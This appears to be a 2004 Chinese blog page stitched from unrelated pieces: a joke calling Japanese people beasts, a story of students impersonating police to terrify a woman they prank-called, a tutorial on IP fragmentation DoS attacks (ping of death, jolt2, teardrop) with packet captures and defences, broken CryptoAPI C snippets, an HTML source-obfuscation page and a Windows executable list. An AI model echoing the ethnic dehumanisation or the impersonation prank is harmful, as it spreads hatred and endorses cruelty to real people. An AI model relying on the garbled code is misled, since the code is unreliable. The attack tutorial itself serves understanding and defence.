2004年07月31日

.“什么,日本人也算人?!!!”我质问上帝道。上帝脸上露出一丝羞愧,支吾半天结结巴巴道:“算…算…算是吧…”我拍了拍他的肩膀:“这不是你的真心话。”上帝涨红了脸,转身欲逃走。看着他狼狈不堪,我于心不忍,可心又不甘,于是一把抓住他:“失手造出这批禽兽也就算了,但你也不能把它们紧挨着咱中国人放啊!”上帝哭丧着脸:“你们中国人自己死好面子,讲什么仁义,要是早点踏平过去不早没事啦!”我被上帝说得咽住了,无语中……

我是一大学男生,一天晚上一屋子的人都觉得没什么事做,又睡不着,就决定打骚扰电话。我们拨了理工大学一个女生寝室的电话,在电话中,我以一种非常郁闷的口气说我现在背透了,想自杀。以下是一部分实况录音:

  我:你好,很不好意思打扰你了,我没别的意思,只是想找个人陪我走完生命的最后里程。

电话那边:不是吧,你不是说要自杀吧(我偷笑,幸亏她不知道我脸皮有多厚)。

  我:是啊,我最近背透了,刚从银行取的钱,就被偷了;好容易过次生日,喝醉了和一人打起来了,拿砖把那人脑袋打开了,结果发现那人是我们的系主任;好容易养了只乌龟,结果爬到食堂去了,等我找到的时候已经剩壳了……
然后那个女生就一个劲的劝我,给我讲笑话,还说一些自己的糗事,呵呵,逗死我了!

  第二天上午,我们又接通那个电话,不过换了我的同学和她说话:

  我同学:喂,我是某某区公安分局的,昨天晚上12点以后你们谁接的电话?

  电话那边:就是我,怎么了?(还真巧,可能电话就在她旁边吧!)

  我同学:哦,昨天我们这里有人跳楼自杀了,我们从他手机上查到,他最后一个电话是打给你的,我们想问一下,你和他什么关系?

  电话那边:不认识啊?

  我同学:不认识?不认识就打了半个多小时?

  电话那边:真不认识,我从来没见过他,他说他想自杀,随便拨的一个号,我还开导了他半天呢(听话音,都快急哭了)!

  我同学:哦,那好吧,电话里也说不清楚,这样吧,你叫什么,住哪里?下午3点过来一趟吧!我们局就在……你来了找刑侦科刘队长就行了……

  下午大约2点50左右,我们几个也进了鼓楼区公安分局(不是抓进来的,是为了看她来不来,也顺便看看长什么样),就看见一个挺漂亮的女孩挨个敲门到处问:请问刑侦科刘队长在哪?

  晚上11点半,我们又拨通了那个电话。

  我同学:喂,我找×××。

  正好是那个女生:是我啊,这么晚了什么事情啊?

  我同学:我是公安局的昨天找过你的,是这样的,你不要紧张,先听我说。

  那个女生:什么事情啊?我下午去了公安局,但没找到刘队长啊!

  我同学:现在情况有点复杂了,我们刚刚接到医院的电话,医院说昨天跳楼的那个男的尸体不见了,他们找了很久,没找到,只见在墙上发现用血写下你的电话号码。

  女的一声尖叫:啊……

  我同学:不要惊慌,你们注意关好门窗,我们马上就来保护你

本文简单介绍了IP分片原理,并结合Snort抓包结果详细分析常见IP碎片攻击的原理和特征,
最后对阻止IP碎片攻击给出一些建议。希望对加深理解IP协议和一些DoS攻击手段有所帮助。

1. 为什么存在IP碎片
-=-=-=-=-=-=-=-=-=-=-=
链路层具有最大传输单元MTU这个特性,它限制了数据帧的最大长度,不同的网络类型都有一
个上限值。以太网的MTU是1500,你可以用 netstat -i 命令查看这个值。如果IP层有数据包
要传,而且数据包的长度超过了MTU,那么IP层就要对数据包进行分片(fragmentation)操
作,使每一片的长度都小于或等于MTU。我们假设要传输一个UDP数据包,以太网的MTU为150
0
字节,一般IP首部为20字节,UDP首部为8字节,数据的净荷(payload)部分预留是
1500-20-8=1472字节。如果数据部分大于1472字节,就会出现分片现象。

IP首部包含了分片和重组所需的信息:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |R|DF|MF| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|<————-16————–>|<–3–>|<———13———->|

Identification:发送端发送的IP数据包标识字段都是一个唯一值,该值在分片时被复制到
每个片中。
R:保留未用。
DF:Don’t Fragment,“不分片”位,如果将这一比特置1 ,IP层将不对数据报进行分片。
MF:More Fragment,“更多的片”,除了最后一片外,其他每个组成数据报的片都要把比特
置1。
Fragment Offset:该片偏移原始数据包开始处的位置。偏移的字节数是该值乘以8。

另外,当数据报被分片后,每个片的总长度值要改为该片的长度值。

每一IP分片都各自路由,到达目的主机后在IP层重组,请放心,首部中的数据能够正确完成
分片的重组。你不禁要问,既然分片可以被重组,那么所谓的碎片攻击是如何产生的呢?

2. IP碎片攻击
-=-=-=-=-=-=-=-=-=-=-=
IP首部有两个字节表示整个IP数据包的长度,所以IP数据包最长只能为0xFFFF,就是65535字
节。如果有意发送总长度超过65535的IP碎片,一些老的系统内核在处理的时候就会出现问题

导致崩溃或者拒绝服务。另外,如果分片之间偏移量经过精心构造,一些系统就无法处理,
导致死机。所以说,漏洞的起因是出在重组算法上。下面我们逐个分析一些著名的碎片攻
击程序,来了解如何人为制造IP碎片来攻击系统。

3. ping o’ death
-=-=-=-=-=-=-=-=-=-=-=
ping o’ death是利用ICMP协议的一种碎片攻击。攻击者发送一个长度超过65535的Echo Req
uest
数据包,目标主机在重组分片的时候会造成事先分配的65535字节缓冲区溢出,系统通常
会崩溃或挂起。ping不就是发送ICMP Echo Request数据包的吗?让我们尝试攻击一下吧!
不管IP和ICMP首部长度了,数据长度反正是多多益善,就65535吧,发送一个包:

# ping -c 1 -s 65535 192.168.0.1
Error: packet size 65535 is too large. Maximum is 65507

不走运,看来Linux自带的ping不允许我们做坏事。

65507是它计算好的:65535-20-8=65507。Win2K下的ping更抠门,数据只允许65500大小。
所以你必须找另外的程序来发包,但是目前新版本的操作系统已经搞定这个缺陷了,所以你

是继续往下阅读本文吧。

顺便提一下,记得99年有“爱国主义黑客”(“红客”的前辈)发动全国网民在某一时刻开
始ping某美国站点,试图ping死远程服务器。这其实是一种ping flood攻击,用大量的Echo
Request包减慢主机的响应速度和阻塞目标网络,原理和ping o’ death是不一样的,这点要
分清楚。

4. jolt2
-=-=-=-=-=-=-=-=-=-=-=
jolt2.c是在一个死循环中不停的发送一个ICMP/UDP的IP碎片,可以使Windows系统的机器死
锁。我测试了没打SP的Windows 2000,CPU利用率会立即上升到100%,鼠标无法移动。

我们用Snort分别抓取采用ICMP和UDP协议发送的数据包。

发送的ICMP包:
01/07-15:33:26.974096 192.168.0.9 -> 192.168.0.1
ICMP TTL:255 TOS:0×0 ID:1109 IpLen:20 DgmLen:29
Frag Offset: 0×1FFE Frag Size: 0×9
08 00 00 00 00 00 00 00 00 ………

发送的UDP包:
01/10-14:21:00.298282 192.168.0.9 -> 192.168.0.1
UDP TTL:255 TOS:0×0 ID:1109 IpLen:20 DgmLen:29
Frag Offset: 0×1FFE Frag Size: 0×9
04 D3 04 D2 00 09 00 00 61 ……..a

从上面的结果可以看出:
* 分片标志位MF=0,说明是最后一个分片。
* 偏移量为0×1FFE,计算重组后的长度为 (0×1FFE * 8) + 29 = 65549 > 65535,溢出。
* IP包的ID为1109,可以作为IDS检测的一个特征。
* ICMP包:
类型为8、代码为0,是Echo Request;
校验和为0×0000,程序没有计算校验,所以确切的说这个ICMP包是非法的。
* UDP包:
目的端口由用户在命令参数中指定;
源端口是目的端口和1235进行OR的结果;
校验和为0×0000,和ICMP的一样,没有计算,非法的UDP。
净荷部分只有一个字符’a'。

jolt2.c应该可以伪造源IP地址,但是源程序中并没有把用户试图伪装的IP地址赋值给src_a
ddr,
不知道作者是不是故意的。

jolt2的影响相当大,通过不停的发送这个偏移量很大的数据包,不仅死锁未打补丁的Windo
ws
系统,同时也大大增加了网络流量。曾经有人利用jolt2模拟网络流量,测试IDS在高负载
流量下的攻击检测效率,就是利用这个特性。

5. teardrop
-=-=-=-=-=-=-=-=-=-=-=
teardrop也比较简单,默认发送两个UDP数据包,就能使某些Linux内核崩溃。Snort抓取的结
果如下:

第一个:
01/08-11:42:21.985853 192.168.0.9 -> 192.168.0.1
UDP TTL:64 TOS:0×0 ID:242 IpLen:20 DgmLen:56 MF
Frag Offset: 0×0 Frag Size: 0×24
A0 A8 86 C7 00 24 00 00 00 00 00 00 00 00 00 00 …..$……….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 ….

* MF=1,偏移量=0,分片IP包的第一个。
* 结构图:

|<——-20——–>|<——8——>|<—————28—————->|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP | UDP | Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

第二个:
01/08-11:42:21.985853 192.168.0.9 -> 192.168.0.1
UDP TTL:64 TOS:0×0 ID:242 IpLen:20 DgmLen:24
Frag Offset: 0×3 Frag Size: 0×4
A0 A8 86 C7 ….

* MF=0,偏移量=0×3,偏移字节数为 0×3 * 8 = 24,最后一个分片。
* 结构图:

|<——-20——–>|<–4–>|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP | Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

如果修改源代码,第二片IP包的偏移量也可以为0×4,偏移字节数就是 0×4 * 8 = 32。

下面的结构图表示了接收端重组分片的过程,分别对应于偏移字节数为24和32两种情况:

|<——-20——–>|<——8——>|<—————28—————->|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP | UDP | Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
| +-+-+-+-+
|<————- 24 ————->| Data |
| +-+-+-+-+
|<–4–>|

|
| +-+-+-+-+
|<——————- 32 ——————>| Data |
| +-+-+-+-+
|<–4–>|

可以看出,第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未
超过第一片的尾部,这就是重叠现象(overlap)。老的Linux内核(1.x – 2.0.x)在处理这
种重叠分片的时候存在问题,WinNT/95在接收到10至50个teardrop分片时也会崩溃。你可以
阅读teardrop.c的源代码来了解如何构造并发送这种数据包。

6. 如何阻止IP碎片攻击
-=-=-=-=-=-=-=-=-=-=-=
* Windows系统请打上最新的Service Pack,目前的Linux内核已经不受影响。
* 如果可能,在网络边界上禁止碎片包通过,或者用iptables限制每秒通过碎片包的数目。
* 如果防火墙有重组碎片的功能,请确保自身的算法没有问题,否则被DoS就会影响整个网络

* Win2K系统中,自定义IP安全策略,设置“碎片检查”。

7. 更多资料
-=-=-=-=-=-=-=-=-=-=-=
[1] TCP/IP Illustracted Volume 1 : The Protocols
[2] Microsoft Security Bulletin MS00-029:
http://www.microsoft.com/technet/security/bulletin/ms00-029.asp
[3] BugTraq Mailing List, “Analysis of jolt2.c(MS00-029)”:
http://www.securityfocus.com/archive/1/62011
[4] http://www.attrition.org/security/denial/w/teardrop.dos.html
[5] http://packetstormsecurity.org/0005-exploits/jolt2.c
[6] http://packetstormsecurity.org/Exploit_Code_Archive/teardrop.c

CryptoAPI是Microsoft提供的加密应用程序接口,他其实是一组函数,他为许多高级安全性服务提供了基础,包括用于电子商务的SET,用于加密客户机/服务器消息的PCT,用于在各个平台之间来回传递机密数据和密钥的PFX,代码签名等等。
支持这种功能的主要有2000/XP(98和ME下不详)

其配置信息(密钥)主要在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\ Cryptography \Defaults
HKEY_CURRENT_USER\ Software \ Microsoft
\ Cryptography \Providers
中,

下面以两个文件加密与解密的C程序片断为例,演示一下CryptoAPI的强大功能。这两个程序均为Win32控制台应用,程序省略了出错处理,实际运行时请加入。

—-1. 文件加密

#include
#include
#include
#include

//确定使用RC2块编码或是RC4流式编码,这就是CryptoAPI支持的两种基本编码方式

#ifdef USE_BLOCK_CIPHER
#define ENCRYPT_ALGORITHM    CALG_RC2
#define ENCRYPT_BLOCK_SIZE    8
#else
#define ENCRYPT_ALGORITHM    CALG_RC4
#define ENCRYPT_BLOCK_SIZE    1
#endif

void CAPIDecryptFile(PCHAR szSource,
PCHAR szDestination, PCHAR szPassword);

void _cdecl main(int argc, char *argv[])
{
PCHAR szSource    = NULL;
PCHAR szDestination = NULL;
PCHAR szPassword    = NULL;

// 验证参数个数
if(argc != 3 && argc != 4) {
printf(“USAGE: decrypt < source file >
< dest file > [ ]\n”);
exit(1);
}

//读取参数.
szSource    = argv[1];
szDestination = argv[2];
if(argc == 4) {
szPassword = argv[3];
}
CAPIDecryptFile(szSource, szDestination, szPassword);
}

/*szSource为要加密的文件名称,
szDestination为加密过的文件名称,
szPassword为加密口令*/
void CAPIEncryptFile(PCHAR szSource,
PCHAR szDestination, PCHAR szPassword)
{
FILE *hSource = NULL;
FILE *hDestination = NULL;
INT eof = 0;
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
HCRYPTKEY hXchgKey = 0;
HCRYPTHASH hHash = 0;
PBYTE pbKeyBlob = NULL;
DWORD dwKeyBlobLen;
PBYTE pbBuffer = NULL;
DWORD dwBlockLen;
DWORD dwBufferLen;
DWORD dwCount;

hSource= fopen(szSource,“rb”));// 打开源文件
hDestination = fopen(szDestination,“wb”) ;//.打开目标文件
// 连接缺省的CSP,密码服务提供者模块(CSP),这是通过WIN系统中捆绑的RSA Base Provider实现的。
CryptAcquireContext(&hProv, NULL, NULL,
PROV_RSA_FULL, 0));
if(szPassword == NULL) {
//口令为空,使用随机产生的会话密钥加密
// 产生随机会话密钥。
CryptGenKey(hProv, ENCRYPT_ALGORITHM,
CRYPT_EXPORTABLE, &hKey)
// 取得密钥交换对的公共密钥
CryptGetUserKey(hProv, AT_KEYEXCHANGE,
&hXchgKey);
// 计算隐码长度并分配缓冲区
CryptExportKey(hKey, hXchgKey,
SIMPLEBLOB, 0, NULL, &dwKeyBlobLen);
pbKeyBlob=malloc(dwKeyBlobLen)) == NULL) ;
// 将会话密钥输出至隐码
CryptExportKey(hKey, hXchgKey,
SIMPLEBLOB, 0, pbKeyBlob, &dwKeyBlobLen));
// 释放密钥交换对的句柄
CryptDestroyKey(hXchgKey);
hXchgKey = 0;
// 将隐码长度写入目标文件
fwrite(&dwKeyBlobLen, sizeof(DWORD), 1, hDestination);
//将隐码长度写入目标文件
fwrite(pbKeyBlob,1,dwKeyBlobLen, hDestination);
} else {
//口令不为空, 使用从口令派生出的密钥加密文件
CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
// 建立散列表
CryptHashData(hHash, szPassword, strlen(szPassword), 0);
//散列口令
// 从散列表中派生密钥
CryptDeriveKey(hProv, ENCRYPT_ALGORITHM, hHash, 0, &hKey);
// 删除散列表
CryptDestroyHash(hHash);
hHash = 0;
}

//计算一次加密的数据字节数,
必须为ENCRYPT_BLOCK_SIZE的整数倍
dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE;
//如果使用块编码,则需要额外空间
if(ENCRYPT_BLOCK_SIZE > 1) {
dwBufferLen=dwBlockLen + ENCRYPT_BLOCK_SIZE;
} else {
dwBufferLen = dwBlockLen;
}
//分配缓冲区
pbBuffer = malloc(dwBufferLen);
//加密源文件并写入目标文件
do {
// 从源文件中读出dwBlockLen个字节
dwCount = fread(pbBuffer, 1, dwBlockLen, hSource);
eof = feof(hSource);
//加密数据
CryptEncrypt(hKey, 0, eof, 0, pbBuffer, &dwCount, dwBufferLen);
// 将加密过的数据写入目标文件
fwrite(pbBuffer, 1, dwCount, hDestination);
} while(!feof(hSource));
printf(“OK\n”);
……//关闭文件、释放内存
}
—-2 文件解密

void CAPIDecryptFile(PCHAR szSource,
PCHAR szDestination, PCHAR szPassword)
{
    ……//变量声明、文件操作同文件加密程序

CryptAcquireContext(&hProv, NULL, NULL,
PROV_RSA_FULL, 0);
if(szPassword == NULL) {
// 口令为空,使用存储在加密文件中的会话密钥解密
// 读隐码的长度并分配内存
fread(&dwKeyBlobLen,sizeof(DWORD),1,hSource);
pbKeyBlob=malloc(dwKeyBlobLen))== NULL);
// 从源文件中读隐码.
fread(pbKeyBlob, 1, dwKeyBlobLen, hSource);
// 将隐码输入CSP
CryptImportKey(hProv, pbKeyBlob,
dwKeyBlobLen, 0, 0, &hKey);
} else {
// 口令不为空, 使用从口令派生出的密钥解密文件
CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
CryptHashData(hHash, szPassword, strlen
(szPassword), 0);
CryptDeriveKey(hProv, ENCRYPT_ALGORITHM,
hHash, 0, &hKey);
CryptDestroyHash(hHash);
hHash = 0;
}

dwBlockLen=1000-1000%ENCRYPT_BLOCK_SIZE;
if(ENCRYPT_BLOCK_SIZE > 1) {
    dwBufferLen = dwBlockLen + ENCRYPT_BLOCK_SIZE;
} else {
    dwBufferLen = dwBlockLen;
}
pbBuffer = malloc(dwBufferLen);

//解密源文件并写入目标文件
do {
dwCount = fread(pbBuffer, 1, dwBlockLen,
hSource);
eof = feof(hSource);
// 解密数据
CryptDecrypt(hKey, 0, eof, 0, pbBuffer, &dwCount);
// 将解密过的数据写入目标文件
fwrite(pbBuffer, 1, dwCount, hDestination);
} while(!feof(hSource));
printf(“OK\n”);
……//关闭文件、释放内存
}
—-以上代码在Windows 2000、Visual C++6.0环境中编译通过。

参考文献:
《CryptoAPI原理与应用》

<HTML><HEAD><TITLE>网页源代码加密解密页面FrontPageXP</TITLE>
<META http-equiv=Content-Type content=”text/html; charset=gb2312″>
<META content=”Microsoft FrontPage XP” name=GENERATOR><LINK
href=”ym.css” type=text/css rel=stylesheet>
<SCRIPT language=****>
<!– Begin
function viewSource() {
document.getSource.view.value=”Please wait!”;
setTimeout(“document.getSource.view.value=’View Source!’”,6000);
window.location.href= “view-source:” + document.getSource.url.value;
return false;
}
// End –>
</SCRIPT>
</HEAD>
<BODY>
<DIV align=center style=”width: 836; height: 410″>
<SCRIPT language=****>
<!–
var i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;

function initStyleElements() /* Styles for Buttons Init */
    {
        var c = document.pad;
        if (ie)
            {
                //c.text.style.backgroundColor=”#DDDDDD”;
                c.compileIt.style.backgroundColor=”#C0C0A8″;
                c.compileIt.style.cursor=”hand”;
                c.select.style.backgroundColor=”#C0C0A8″;
                c.select.style.cursor=”hand”;
                c.view.style.backgroundColor=”#C0C0A8″;
                c.view.style.cursor=”hand”;
                c.retur.style.backgroundColor=”#C0C0A8″;
                c.retur.style.cursor=”hand”;
                c.clear.style.backgroundColor=”#C0C0A8″;
                c.clear.style.cursor=”hand”;
            }
        else return;
    }

/* Buttons Enlightment of “Compilation” panel */
function LightOn(what)
    {
        if (ie) what.style.backgroundColor = ‘#E0E0D0′;
        else return;
    }
function FocusOn(what)
    {
        if (ie) what.style.backgroundColor = ‘#EBEBEB’;
        else return;
    }
function LightOut(what)
    {
        if (ie) what.style.backgroundColor = ‘#C0C0A8′;
        else return;
    }
function FocusOff(what)
    {
        if (ie) what.style.backgroundColor = ‘#DDDDDD’;
        else return;
    }
/* Buttons Enlightment of “Compilation” panel */

function generate() /* Generation of “Compilation” */
    {
        code = document.pad.text.value;
        if (code)
            {
                document.pad.text.value=’Compiling…Please wait!’;
                setTimeout(“compile()”,1000);
            }
        else alert(‘请先把需待加密的代码copy到此框中’)
    }
function compile() /* The “Compilation” */
    {
        document.pad.text.value=”;
        compilation=escape(code);
        document.pad.text.value=”<script>\n<!–\ndocument.write(unescape(\”"+compilation+”\”));\n//–>\n<\/script>”;
        i++;
        if (i=1) alert(“代码已编译1次!”);
        else alert(“代码已编译”+i+”次!”);
    }
function selectCode() /* Selecting “Compilation” for Copying */
    {
        if(document.pad.text.value.length>0)
            {
                document.pad.text.focus();
                document.pad.text.select();
            }
        else alert(‘无任何内容被选中!’)
    }
function preview() /* Preview for the “Compilation” */
    {
        if(document.pad.text.value.length>0)
            {
                pr=window.open(“”,”Preview”,”scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110″);
                pr.document.write(document.pad.text.value);
            }
        else alert(‘无任何内容可供预览!’)
    }
function uncompile() /* Decompiling a “Compilation” */
    {
        if (document.pad.text.value.length>0)
            {
                source=unescape(document.pad.text.value);
                document.pad.text.value=”"+source+”";
            }
        else alert(‘请把需待还原的代码copy到此框中!’)
    }
// –>
</SCRIPT>

<TABLE cellSpacing=0 cellPadding=2 width=64 border=0>
<TBODY>
<TR>
<TD>
<FORM name=getSource onsubmit=”return viewSource();”>
<P>输入网址,按查看钮 <INPUT size=68 value=http:// name=url> <INPUT type=submit value=查看 name=view></P></FORM></TD></TR>
<FORM name=pad method=post align=”center”>
<TR>
<TD><TEXTAREA name=text rows=20 cols=58></TEXTAREA></TD></TR>
<TR>
<TD><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密 name=compileIt>
<INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=选中 name=select>
<INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预览 name=view>
<INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=还原 name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清除 name=clear>
</TD></TR></FORM></TBODY></TABLE></DIV></BODY></HTML>

加密:把你想加密的网页文档的源代码复制到上面的文本框内,加密后再把代码复制到新的页面就可以了。(可以进行多次加密)

解密:把你想解密的已加密网页的文档的源代码复制到下面的文本框内,点击解密按钮至代码出现标准网页时根据提示获取源码。对于多次解密都未发生改变的代码本系统将无法解密。

以上网页源代码程序是我模仿『黑客防线』加密解密页面自己编的。

accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导

acsetups.exe > ACS setup DCOM server executable

actmovie.exe > Direct Show setup tool 直接显示安装工具

append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据

arp.exe > NETWORK Display and modify IP – Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表

at.exe > AT is a scheduling utility also included with UNIX 计划运行任务

atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计

attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性

autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统

autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统

autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程

autolfn.exe > Used for formatting long file names 使用长文件名格式

bootok.exe > Boot acceptance application for registry

bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功
cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL

calc.exe > Windows Calculators 计算器

cdplayer.exe > Windows CD Player CD播放器

change.exe > Change { User | Port | Logon } 与终端服务器相关的查询

charmap.exe > Character Map 字符映射表

chglogon.exe > Same as using “Change Logon” 启动或停用会话记录

chgport.exe > Same as using “Change Port” 改变端口(终端服务)

chgusr.exe > Same as using “Change User” 改变用户(终端服务)

chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序

chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序

cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务

cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录

cisvc.exe > Content Index — It’s the content indexing service for I 索引内容

ckcnv.exe > Cookie Convertor 变换Cookie

cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理

cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具

clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器

clipsrv.exe > Start the clipboard Server 运行Clipboard服务

clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单

cluster.exe > Display a cluster in a domain 显示域的集群

_cmd_.exe > Famous command prompt 没什么好说的!

cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理

cmmgr32.exe > Connection Manager 连接管理器

cmmon32.exe > Connection Manager Monitor 连接管理器监视

cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序

comclust.exe > about cluster server 集群

comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容*

compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态

conime.exe > Console IME IME控制台

control.exe > Starts the control panel 控制面板

convert.exe > Convert File System to NTFS 转换文件系统到NTFS

convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式

cprofile.exe > Copy profiles 转换显示模式

cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本

csrss.exe > Client Server Runtime Process 客户服务器Runtime进程

csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序

dbgtrace.exe > 和Terminal Server相关

dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性

dcphelp.exe > ?

dcpromo.exe > Promote a domain controller to ADSI AD安装向导

ddeshare.exe > Display DDE shares on local or remote computer DDE共享

ddmprxy.exe >

debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦!

dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序

dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序

dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树

dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化

dfssvc.exe > Distributed File System Server 分布式文件系统服务器

diantz.exe > MS Cabinet Maker 制作CAB文件

diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器

dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程

dllhst3g.exe >

dmadmin.exe > Disk Manager Service 磁盘管理服务

dmremote.exe > Part of disk management 磁盘管理服务的一部分

dns.exe > DNS Applications DNS

doskey.exe > recalls Windows command lines and creates macros 命令行创建宏

dosx.exe > DOS Extender DOS扩展

dplaysvr.exe > Direct Play Helper 直接运行帮助

drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测

drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理

dtcsetup.exe > Installs MDTC

dvdplay.exe > Windows 2000 DVD player DVD播放

dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具

edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)
edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)

esentutl.exe > MS Database Utility MS数据库工具

eudcedit.exe > Private character editor Ture Type造字程序

eventvwr.exe > Windows 2000 Event Viewer 事件查看器

evnt_cmd_.exe > Event to trap translator; Configuration tool

evntwin.exe > Event to trap translator setup

exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制

expand.exe > Expand Files that have been compressed 解压缩

extrac32.exe > CAB File extraction utility 解CAB工具

fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件

faxcover.exe > Fax Cover page editor 传真封面编辑

faxqueue.exe > Display Fax Queue 显示传真队列

faxsend.exe > Fax Wizard for sending faxes 发送传真向导

faxsvc.exe > Starts fax server 启动传真服务

fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同

find.exe > Searches for a text string in file or files 查找文件中的文本行

findstr.exe > Searches for strings in files 查找文件中的行

finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果

fixmapi.exe > Fix mapi files 修复MAPI文件

flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录

fontview.exe > Display fonts in a font file 显示字体文件中的字体

forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行

freecell.exe > Popular Windows Game 空当接龙

ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了

gdi.exe > Graphic Device Interface 图形界面驱动

grovel.exe >

grpconv.exe > Program Manager Group Convertor 转换程序管理员组

help.exe > displays help for Windows 2000 commands 显示帮助

hostname.exe > Display hostname for machine. 显示机器的Hostname

ie4uinit.exe > IE5 User Install tool IE5用户安装工具

ieshwiz.exe > Customize folder wizard 自定义文件夹向导

iexpress.exe > Create and setup packages for install 穿件安装包

iisreset.exe > Restart IIS Admin Service 重启IIS服务

internat.exe > Keyboard Language Indicator Applet 键盘语言指示器

ipconfig.exe > Windows 2000 IP configuration. 察看IP配置

ipsecmon.exe > IP Security Monitor IP安全监视器

ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序

irftp.exe > Setup FTP for wireless communication 无线连接

ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务

jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器

jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库

jetpack.exe > Compact Jet Database. 压缩Jet数据库

jview.exe > Command-line loader for Java Java的命令行装载者

krnl386.exe > Core Component for Windows 2000 2000的核心组件

label.exe > Change label for drives 改变驱动器的卷标

lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导

ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理

licmgr.exe > Terminal Server License Manager 终端服务许可协议管理

lights.exe > display connection status lights 显示连接状况

llsmgr.exe > Windows 2000 License Manager 2000许可协议管理

llssrv.exe > Start the license Server 启动许可协议服务器

lnkstub.exe >

locator.exe > RPC Locator 远程定位

lodctr.exe > Load perfmon counters 调用性能计数

logoff.exe > Log current user off. 注销用户

lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务

lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。

lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL

